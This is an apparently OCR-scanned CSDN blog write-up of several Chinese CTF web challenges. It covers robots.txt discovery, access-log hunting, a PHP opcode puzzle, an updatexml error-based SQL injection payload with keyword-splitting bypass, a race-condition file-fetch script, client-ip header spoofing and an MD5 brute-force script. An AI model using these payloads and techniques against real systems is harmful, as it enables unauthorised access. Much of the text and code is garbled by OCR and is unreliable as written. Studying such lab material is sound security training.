E—IRCTFEE (Writeup)

1794536440 F 2018-01-17 214337 KA 32115 R 35

SRER: CIF XEHREK: CTF Writeup

FRANE B . ASCRHEEFEA X E, #EHE CC4.0 BY-SA RBMY, BHEiEWN EERECHASEEMARER,
ASCEERE:  hitpsy/blog.csdn.net/if794536440/article/details/79088457

WAL

CTF 4= ALK

1 R3CE 0T H
ITREE

Bl &

EEKFEFR A G M, RAFEFEE, RHEECREHUL K PER, EESSMEH CEaMRBy, REMFEE O(N_N)Oomk
WA~

#F—&: Robot

robot

http://106.75.86.18:1111

BLH Z#: Robot
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B, MIERBRELEH2BGHERER.
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WEATHIMANBEEE, Hburpsuite€—TF, B4 EH BIKIE?

4

Burp Intruder Repeater Window Help

J Target I Proxy I Spider I Scanner I Intruder T Repeater I Sequencer I Decoder I Comparer I Extender T Project options I User options I Alerts I Sgimap ]

Site map | Scope

‘ Filter: Hiding not found items; hiding CSS, image and general binary content; hiding 4xx respenses; hiding empty folders

¥ [, hitp:/106.75.86.18:1111 Contents ISSEs
Y =
[ robots o Host | method | URL | Params | Status & | L ‘ i Robots.txt file
http://106.75.85.18:1111  GET frobots. tet 200 3 |

Vil — T iRik.

1. & FEIEE--Webs=2... i: http ,f,' 1 0!1.-?5 1 1 1 ,f rul:lot,. ot )( +

€ 1067586181111[robot5m ﬁl% lr

User—agent: *

Disallow:

Disallow: /admin
Disallow: /admin/3hell. php

BEFARTEHIT, W LLE Blrobots. txt& 7~ /admin/3hel L.php, BEATHE—TWE. WREEZFA—H, HEBBEAN? F—TF! FHRETH
Lo B MITTYRACAD, X AT 2 P 5 B0 FR) R P IR



D TSI -Web2... X | http//106.75..in/3he11.php X SHEBY/106. (560 e 11 1/ad X +

//106.75.86.18:1111/admin/3he11.ph

flag{aac77c80-uui8-b942-bdb6-b5£754b2dbc0}
— >

M, flagiREI T, so easy!

B 8. seelog

seelog

S5fE 505 BERE

http://106.75.86.18:3333

BB R seelog

ViR, BRAMRATMEE, FHEINEREETRE Tseelog. . o o XRAAFTX? BT, see
log#i & logRe H EXHFHIY R4, MEMHEHFXR? AMET, Kik—TE, JH—Tlog.tt, A HEHIRME
404, Vil — Tlog HFM.

Index of /log

Name Last modified Size Description

& Parent Directory -

@ access.log 2017-10-17 14:40 11M
@ error.log 2017-10-17 14:40 266K

Apache/2.4.7 (Ubuntu) Server at 106.75.86.18 Port 3333

WANH &, B—AE B, T access.logE—TF, #R—815HiER.
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Qct/
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0ct/2016:07:54:22 +0000] “GET /sBag.asp HITP/1.1” 404 445 "-" "~

0ct/2016:07:54:22 +0000] “GET /bbs/diy.asp HTTP/1.17 404 448 "-" "-"
0ct/2016:07:54:22 +0000] “GET /s8div.asp HITP/1. 1”7 404 446 "-" "7
’2016:07:54:22 +0000] "GET /myup.asp HITP/1.1” 404 445 "-" "7
'2016:07:54:22 +0000] “GET /s8tmdqq. asp HTTE/1.17 404 448 "-" 7"
/2016:07:54:22 +0000] “GET /bbs/s8div.asp HITP/1.1” 404 450 "-" "7
0ct/2016:07:54:22 +0000] “GET /upfile.asp HTTP/1.1” 404 447 " "7
'2016:07:54:22 +0000] “GET /admin_index.asp HTTP/1.1” 404 452 "-" "7
0ct/2016:07:54:22 +0000] “GET /reg_upload.asp HTTP/1.1” 404 451 “-" -7
Oct/
/2016:07:54:22 +0000] “GET /app/login.asp HITP/1.1” 404 450 "-" "
Oct/
/Oct/
/2016:07:54:22 +0000] “GET /aspcheck/aspcheck.asp HTTP/1.1” 404 458 "-" ="
0ct/2016:07:54:22 +0000] “GET /mgye/admin/login. asp HTTF/1.1” 404 457 "-" "7
/Dect/
Oct/
Oct/

/2016:07:54:22 +0000] "GET /eWebEditor/Admin_Style.asp HITP/1.1” 404 463 "-" "-"

2016:07:54:22 +0000] “GET /bin/login.asp HTTP/1.1” 404 450 "-" "-"

2016:07:54:22 +0000] "GET /bbs/upfile.asp HITP/1.1" 404 451 "-" "7
2016:07:54:22 +0000] “GET /dzmanager/login.asp HITP/1.1” 404 456 “-" "-"

2016:07:54:22 +0000] “GET /asp/login.asp HTTP/1.1” 404 450 "-" "-"
2016:07:54:22 +0000] "GET /SouthideEditor/admin_style.asp HITP/1.1” 404 467 "-" “-”
2016:07:54:22 +0000] “GET /eWebEditor/Admin_Default.asp HITR/1. 1" 404 465 “-" "-"

#/2404? FEA 2000 RED, BERWER—TH, #Ctri+F, BAHTTP/1.1" 200" ChHaixafmAE? F
ARBA200, BHERKRZT) #RILTEIRZFE - FRAIER:

172,
172,
172,

172.
172.

16.3.1 — — [12/0ct/2016:07:54:48 +0000] “GET /oa/ewsbeditor/admin_login.asp HTTR/1.1”
16.3.1 - - [12/0ct/2016:07:54:48 +0000] ” ‘inc/Edi /admi i /1,17

16.3.1 - - [12/0ct/2016:07:54:48 +0000]
"= "Mozilla/5.0 (Windows NT 6.1: WOWB4) AppleWebKit/537. 36 (RHIWL, like Gecko) Chrome/d5. 0. 2454, [0l Safari/537. 36

404 466 - "7

“GET /wojiushiHouTai888/dengll. php?username=admingpassword=af3a—6b2115¢9a2c0&submi t=%E7%99%BB%ES%BD%95 HITP/1. 17 200 771

16.3.1 — — [12/0ct/2016:07:54:48 +0000] "GET /modules/ewebeditor/admin_login.asp HITP/1. 1" 404 471 "-" -7
16.3.1 — - [12/0¢t/2016:07:54:48 +0000] “GET /admin/editor/vsafadmin_logzin.asp HTTP/1.1” 404 460 "-" "-"

NEEEN, ZH-TERUR—-TEE, RRABREW, flaghikT!

FE=. VID

flag{b10233b0-b2d3-df17-ae6f-5ddf230cf66f}

VID

http://106.75.26.211:1111

BH AR

ViR, BRIMRERWT:


http://106.75.26.211:1111

&£ FEIEN--Webz=Z2... http S/106. ?5 26. L1 1: 1 111/

€ Jo 106?5262111‘1‘11 ohp O f} @ &
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do you know Vulcan Logic Dumper?
false

RRMH2AR? —REEHS? ERARLEE - THIRIEAMGE, EHHRET, ERTERAMENRET, RA
BRI .

£ MEIEH--Webzz2... X | htipy/fl Dt: 52621111117 X fhttp/f106.75.26:211:1111/ :

® wew source:| h‘ttp f,c'106 75. 26 211 ‘!111,-‘

do you know Vulcan Logic Dumper?<br>false<bri<!— index. php. txt 7>

Vi ldindex.php. tXt3CHE —TF, AILAE B UL TFAE:

2 0 >  EXT_STMT
1 ECHO " do+voutknow-Vulcan+LogicDumper%3F%3Chr43E’
3 2 EXT_STMT N
3 BEGIN_SILENCE 0
4 FETCH_R global S1 ' GET
3 FETCH_DIM_R $2 $1, 'flagl’
3 END_SILENCE 0
7 ASSIGN 0, §2
4 8 EXT_STMT
9 BEGIN_SILENCE ~4
10 FETCH_R global $5 ' _GET’
11 FETCH_DIM_R 36 $5, 'flag?
12 END_SILENCE T4
13 ASSIGN '1, $6
2 14 EXT_STMT
5 14 EXT_STMT
15 BEGIN_SILENCE "8
16 FETCH R global 59 '’ _GET
17 FETCH_DIM R $10 $9, ' flag3
18 END_SILENCE =
19 ASSIGN 12, §10
6 20 EXT_STMT
21 IS_EQUAL "12 10, 'fvhjjihfov'
22 > JMPZ T12, -»38
7 23 > EXT_STMT
24 I5_EQUAL "13 '1, ’gfuyivhioyf
25 > JMPZ T13, -»35
8 26 > EXT_STMT
27 IS_EQUAL "14 12, "yugoiiyhi’
28 > JMPZ T14, 32

R ULiE AGET A RAE NS flagl, flag2, flag3FFMRiE, IAaBAIHENSE?
flag1=fvhijjihfcv&flag2=gfuyiyhioyf&flag3=yugoiiyhi”’. #&7~:next step is 1chunqiu.zip, R—MEZ&XMH, THT
REEMW.



SIS Webs22,. X ._htt.:l#.,f,ﬂo':s'_.?5;;.é§5§=g'fuguiiyhi- X+

(@ 106.75.26.211:1111/index.php?flag1=fvhjjihfcviflag2=

do you know Vulcan Logic Dumper?
the next step i4 1chungiu.zip

ERETI

B 1chungqiu.zip
ISR . WinRAR ZIP BSR4 (4.1 KB)
8 : http://106.75.26.211:1111

{EFEEE Firefox WMERMEINTE ?

O $77F . E(0) | WinRAR MR ETEE (3hA) v
® FEETEE) '

[ LSEa=AiERaE B, (A)

me || mm |

T EGRE 2N Aphp3C . PIAhtmISC A — A css 33k :

O
css = 2016/8/12 18:46

B config.inc.php 315 202 PHP ¥ 2016/9/29 16:04

B dbmysql.class.php 1,541 645 PHP sz 2016/8/8 10:28

€| login.html 667 365 Firefox HTML Do...  2016/8/7 14:50

B login.php 1,300 547 PHP i 2016/9/29 17:50

€| register.html 661 362 Firefox HTML Do... 2016/9/29 16:47

B register.php 1,231 543 PHP ZiE 2016/9/29 16:50

T FphpC & —T

(isset($_POST[® ‘name " ] ) isset($_POST[ 'password’]) isset($_POST[ "number'])){
$db mysql_ ;

$username = $db Fe_data($_POST[ " us ame']);

$password = $db-:n ($_POST[ 'pa rd*]);

$number = is_numeric($_POST[ 'number’]) ? $ POST['number'] :

3

$username = trim(str_replace($number, "', $username));

$result $db->fetc

TElogin.php X4+ & B U A& APOST 5 /g N “username”. “password”. “number” 3 H7E "Susername™# i sk
#“number” & # 8", IBAXBAFESIUENT , WIFIRAIE M iEpayload: “number=0&username=123%00'
and updatexml(1,concat(12, substr((selOect flag from
flag),10,25)),1)%23&password=1"F1“number=0&username=123%00' and updatexml(1,concat(12,
substr((selOect flag from flag),25,35)),1)%23&password=1". Fjj [l/1chungiu/login.php, FPOST & &7 =R
¥ payload & 2 $ ¥ FE A




Erisila Mo kit [ ] Eeciele Haiaoar

number=08wsername=123%00" and updatexml(1,concat(12, substr{(sel0ect flag from flag),10,25)),1)%623& password=1

HIEENTIZIZIXPATH syntax error: 'flag{87f2f55e-9f3b-3761-9'

" hitp://106.75.26.211:1111/1chunqiu/login.php

oitile Bogi ekt [ ] Esisle Haiae

L0001 number=08username=123%00" and updatexml(1,concat(12, substr{(sellect flag from flag],25,35b],1]%23&password=1

HUEREITENZEIXPATH syntax error: |eef—40549889e51 fy' ‘

P Bflag & 7E — B T3] 5 ¥ flag T
BE: KT RIARAE

R TFEIDIMEIRAR

FRH AR RT BRI MERA
Vi, RIS —BIEA:


http://106.75.26.211:3333

SRR -Webge2... % L httpy//106.75.26.211:3223/

R 8 © 106.75.26.211:3333

Ba=

<?php
header ("content—type:text/html ;charset=utf-8") ;
PR T EThHERAR
setcookie { token’, hello’);
show_source(_ FILE_ ) ;
if ($_COOEIE[ token’ 1= hello’){
$txt = file_get _contents( flag. php ):
$filename = “u/ .md5(mt_rand(l, 1000)). . txt’ ;
file_put_contents($filename, $txt);
sleep(10) ;
unlink(§filename) ;

BEEL: ®HEcookielt“key=token”f“value=hello”, #|Wicookie2H NE, WHRNE, 2K flag.php”iHH
i P 25 L B 1 7 B B $filename, I 4% u/md5(mt_rand(1,1000)).txt (8] & B 4. #E1-10009 B
U= — AN FAMDSH) 7 &)« 7EIEIR 1070 5 M BR SCA

BT AR AT 38 BT LA A python A SRARRE T, ARSI



import requests as rq
import hashlib

import threading
import Queue

url = 'http://106.75.26.211:3333'
queue = Queue.Queue()

def make_queue():
for i in range(1, 1001):
m = hashlib.md5()
m.update(str(i))
furl = url + '/u/" + m.hexdigest() + ".txt'
queue.put(furl)

def worker():
count =0
while not queue.empty():
count = count + 1
print count
u = queue.get()
result = rq.get(u).text
if '404' not in result:
print result
break
queue.task_done()

def main():
make_queue()
for i in range(50):
t = threading.Thread(target = worker)
t.daemon = True
t.start()
queue.join()
if _name_ ==' main_"
main()

HAREITHRESlagB 2 BRERT .

$FHE: fuzzing



fuzzing

http://106.75.108.111:2222

B H & fuzzing

ViR, 2F 3R B there is nothing” B 2 #MT 4 #8%E, M IIEAE H 2 R “there is nothing”,

BT LAERATT 56 F burpsuite3M & — T . #Eburpsuiteffrepeaterf&idi th 7E 1 [l http://106.75.108.111:2222, i [6] i
responseFfF IR A 4 Rt

Go Cance Follow redirection

Request Response

Raw | Headers | Hex Raw | Headers | Hex

GET / HTTF/1.1 HTTF/1.1 302 Found

Host: 106.75.108_111:222C2 Date: Wed, 17 Jan Z018 11:52:43 GMT
User-Agent: Mozillays5.0 (Windows NT 10.0; WOWE4; rv:52.0) Gecko/20100101 Server: Apache/2.4_.7 (Ubhuntul
Firefox/52.0 ¥-Powered-By: PHP/E. 5. S-lubuntud.’Z
Location: test.php

Content-Length: 0

Comnection: close

Content-Type: text/html

e

Accept: text/htnl, application/xhtmltxml, application/xml;gq=0_9 */*;q=0_8
Accept-Lancguage: zh-CH,zh;gq=0.8,en-U3;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Connection: close

Tpgrade-Insecure-Regquests: 1

B R 7E 553 10 E 2 M B3 fhttp://106.75.108.111:2222/test.phpr, FAl1#Erepeaterfiii&isk d fresponset &
TR

Request Response

Raw | Headers | Hex Raw | Headers | Hex

FET /test.php HTTE/L.1 & HTTP/1.1 200 0K

Host: 108.75.108.111:Z2Z22C2 - Date: Wed, 17 Jan 2018 1ll:E5&:1& GHT
User—Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4; rv:52.0) Gecko/20100101 Server: Apachef" 4.7 (Thuntu)
Firefox/52.0

Accept: text/html, application/xhtml+txml, application/xml gq=0.9 */*;q=0.8
Accept-Language: zh-CH,zh;q=0_8,en-US;gq=0_5, en;q=0_3

Accept-Encoding: gzip, deflate

Commection: close

hint: ip, Large internal network
T-LEngenT L&

Comnection: close

Content-Type: text /html

Tpgrade-Insecure-Reguests: 1

there iz nothing

responsed &~: hint: ip,Large internal network (& KA Mip) , A MipH & KPR iZ#Z&10.0.0.07, B
DABRA Dy i&ip B — kv ol B k8, A4 anfafphid&ipWe ? FRATAT AR K IRH 4 Dhi&, tmT LA burpsuitefhid,
/N AR (modify headers) BEf#Efhi&E T 10.0.0.0M B 1ip, miidistart.


http://106.75.108.111:2222

S & K

Start Headers Options About

‘ Select action V‘ ‘ Header name (e.g. user-ager Header valu | ‘ Des

Action MName alu Comment
odify client-ip 101121

RS ) B B, RO B2 AR

-=F-Ft‘=‘|"“|H‘tE--W o http://106 ?5 .r_jrn!lnage php

® 10675108.1112222!m4nagephp ﬁw e' 1‘} E l
".EE

| INT v = 'SQL XG5 Eniryp‘tmn En'rod'lnq Other

2 Load URL [iaiet f_a‘1 06.75.108. 111 12222 /mdnage.php
M split URL
(] Egécute.

O] Zrmsils gogialnts [ Exsteils ftaianas

show me your key

“show me your key” & 23X BI 2 B RENSHikey, BB HTR: —. GETHR, =. POSTHR, BT NKGETHE, BHEME
. Be—FpFHPOSTHE, KILIH &R~ “key is not right, md5(key)==="5a2a7d385fdaad3fabbe7b11c28bd48¢",and the key is ichungiu[a-z0-9]{5}”-

£ RIS --Web= S http://1 Eiu.?S .ge. |:|h|:l"‘key T 4+

- € JO) 1[]675108.1112222fm4nagephp?key'I ﬁm < 1} @ l

. BE i N St :
HINT . = S0L ‘C.‘:- Enizryptiqn' Entoding cher
2 load URL h‘l:l:p:,"l 06.75.108.111:222 )
U split URL

0 E;iacute.

L] Enasils Zugrskats [ Suislle faizomar

show me your key

Bl BUERE hitp://106.75.108.111:2222/mdnage.php

Split URL
Eg-écute

vl Zecdils Bosiclag [ Suebils fafanar
Hagt it | key=1 |

key is not right, md5(key)==="5a2a7d385fdaad3fabbe7b11c28bd48e",and the key is ichunqgiu[a-z0-9]{5}



BIR: keyZiIMDSINE J& N"5a2a7d385fdaad3fabbe7b11c28bd48e", I H AT\ AL ichunqiu, J& FLALAE H[a-20-9]
AR, BARMITT LA S 2EB 35 BN, FPythonZw S I Ak 55 2445 Fllkey. BIAMRILIITF -

import hashlib
def md5(data):

m = hashlib.md5()
m.update(data)

a = m.hexdigest()

return a

a = "ichunqiu’
b = 'qwertyuiopasdfghjklzxcvbnm0123456789'
for q in b:

for w in b:

for e in b:

for r in b:

for tin b:

if md5(at+qtw-+tetr+t)=='5a2a7d385fdaad3fabbe7b11c28bd48e'":

print g+w+etr+t

BITHASE, B3EIMARA6180k, Fblkey=ichunqiu618ok

Diisila Bogi el [ Eibile daibme

oSt Aty key=ichungiub18ok

the next step:|xx00xxoo.php

¥ TR 1 1) /xx00xx00.php, 3 2 LA T 17K«

Nt g sat Encr Encoding Other

a URL ] http://106.75.108.111:2222/xx00xx00.php

[ zeasils gegi gz [ Snabils faimnme

source code is in the x0.txt.Can you guess the key the authcode(flag) is
5c00UHY2kZEAW +rz6vzuH5fpUe TUMO0sO4+gnybaaNd8Ks5AdkQFREqs5hzDIhADpVVI3wQccV4AfUFaityomFvScBbrsOCc



R REABE 0., HHfaghFEERSROCES N, RINAFTEMBERITLLT . UiH/x0.1xt, KIRAR
pRE RS

function authcode($string, $operation = 'DECODE’, $key =, Sexpiry = 0) {
3ckey_length = 4;

$key = md5($key ? S$kev : UC_KEY):
$keva = md3 (substr ($key, 0, 16));
Skeyb = md5 (substr ($key, 16, 16));
$keyc = $ckey_length ? (Soperation == 'DECODE’ 2 substr($string, 0, $ckev_length) : substr(md5(microtime(})), —S$ckey_length}) : ' ;

Scryptkey = Skeya . md5(Skeya . Skeyc);
$key_length = strlen{Scryptkey);

$string = Soperation == 'DECODE’ ? basef4_decode (substr{$string, Sckey_length)) : sprintf(’%010d’, Sexpiry ? Sexpiry + time() : 0) . substr(md5(§string .
$kevh), 0, 16) . $string;
$string_length = strlen($string);

Sresult =
Shox = range(O 255) ;

$rndkey = array();

for (§i = 0; §i <= 255; §i++) |
$rndkey[$i] = ord(Scryptkey[$i % S$key_length]):

for (35 =81 = 0; 8i < 256: §i++) |
$j = (87 + Sbox[$i] + $rndkey[S$i]) % 256;

B0 J5 B flag s A $string, key B N B|SkeyH, F Hecholll % iR #“authcode” A& Hiiz 17 Bt 7] LA7S B flag T

flag{bf9c71 de-9852-93a0-9852- aESch?ddTZe}

R EEHEMAE: http/blog.csdn.net/If794536440/article/details/79088457


http://blog.csdn.net/lf794536440/article/details/79088457
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